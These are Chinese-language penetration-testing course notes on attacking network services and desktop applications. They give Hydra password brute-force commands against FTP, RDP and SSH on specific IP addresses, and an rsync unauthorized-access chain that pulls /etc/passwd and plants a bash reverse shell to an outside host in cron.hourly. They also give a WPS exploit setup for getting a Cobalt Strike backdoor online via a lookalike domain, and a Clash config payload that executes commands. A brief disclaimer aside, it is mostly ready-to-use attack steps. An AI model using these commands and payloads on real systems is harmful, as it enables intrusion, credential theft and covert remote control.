知识点:
1、端口协议-弱口令&未授权&攻击方式等
2、桌面应用-社交类&文档类&工具类等
章节点:
1、目标判断-端口扫描&组合判断&信息来源
2、安全问题-配置不当&CVE漏洞&弱口令爆破
3、复现对象-数据库&中间件&开发框架&应用协议
常见语言开发框架:
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等
常见语言开发组件:(Java)
Apache Solr、Apache Shiro、Apache Struts2、Apache
Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Apache
hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring、Aibaba
FastJson、Jackson、Log4J、XSteam等。
一、演示案例-端口协议-口令爆破&未授权
端口参考:https://mp.weixin.qq.com/s/xp_LOUmGImrRmkPrDqxKjw
弱口令爆破
服务爆破工具:
https://github.com/vanhauser-thc/thc-hydra
hydra是一个自动化的爆破工具,暴力破解弱密码,
是一个支持众多协议的爆破工具,已经集成到KaliLinux中,直接在终端打开即可
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
FTP:文件传输协议
hydra -l test -P 10top1K.txt 47.110.53.159 ftp -V
FTP的上传下载文件命令可以百度
RDP:Windows远程桌面协议
hydra -l administrator -P 10top1K.txt 47.110.53.159 rdp -V
有时候目标可能会用到第三方远程控制软件(vnc、向日葵、TeamViewer
等),而不用系统本身的rdp协议。
因为这些第三方远程控制软件的控制效果要比原始的rdp协议更好,所以会出现这种情况。
SSH:Linux安全外壳协议
hydra -l root -P 10top1K.txt 47.110.53.159 ssh -V
未授权案例(rsync)
未授权检测工具:
https://github.com/xk11z/unauthorized
rsync
是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873
端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
1、判断
rsync rsync://120.27.220.186:57830/
2、利用
读取文件:
rsync rsync://120.27.220.186:57830/src/
下载文件:
rsync rsync://120.27.220.186:57830/src/etc/passwd ./ (./是下载到本地的路径)
上传文件:
rsync -av passwd rsync://120.27.220.186:57830/src/tmp/passwd
3、反弹shell
1、获取信息:
rsync rsync://120.27.220.186:57830/src/etc/crontab /root/cron.txt
2.创建文件
touch shell
#!/bin/bash
/bin/bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
chmod +x shell
3、上传文件
rsync -av shell rsync://120.27.220.186:57830/src/etc/cron.hourly
4、等待接受反弹
需要等待比较久,因为cron.hourly 固定了每小时执行一次
其中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令
二、演示案例-桌面应用-QQ&WPS&Clash
QQ RCE 漏洞复现
上线cs后门同理
WPS RCE 漏洞复现
影响版本:
WPS Office 代码执行(QVD-2023-17241)
WPS Office 2023个人版<11.1.0.15120
WPS Office 2019企业版<11.8.2.12085
RCE复现(弹计算器)
127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn
上线CS
1、简单分析1.html poc.docx
1.html
poc.docx
2、修改配合联动上线CS
修改html中的shellcode(C#)
修改docx中的指向连接URL及修改本地hosts
如何修改docx中的指向连接URL
3、实战中怎么操作?
VPS上申请{xxxxx}wps.cn
域名
域名上增加解析clientweb.docer.wps.cn.{xxxxx}wps.cn VPSIP
上面
VPSIP架设1.html
网站服务,修改1.html
上线shellcode
Clas* RCE 漏洞复现
前言
本文内容仅为技术科普,请勿用于非法用途!
仅展示漏洞,不存在翻墙
影响版本:
Windows v0.19.10版本及以下
1、本地创立一个.yaml的文件
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
2、Profiles挑选导入.yaml
3、切换节点之后成功调用代码执行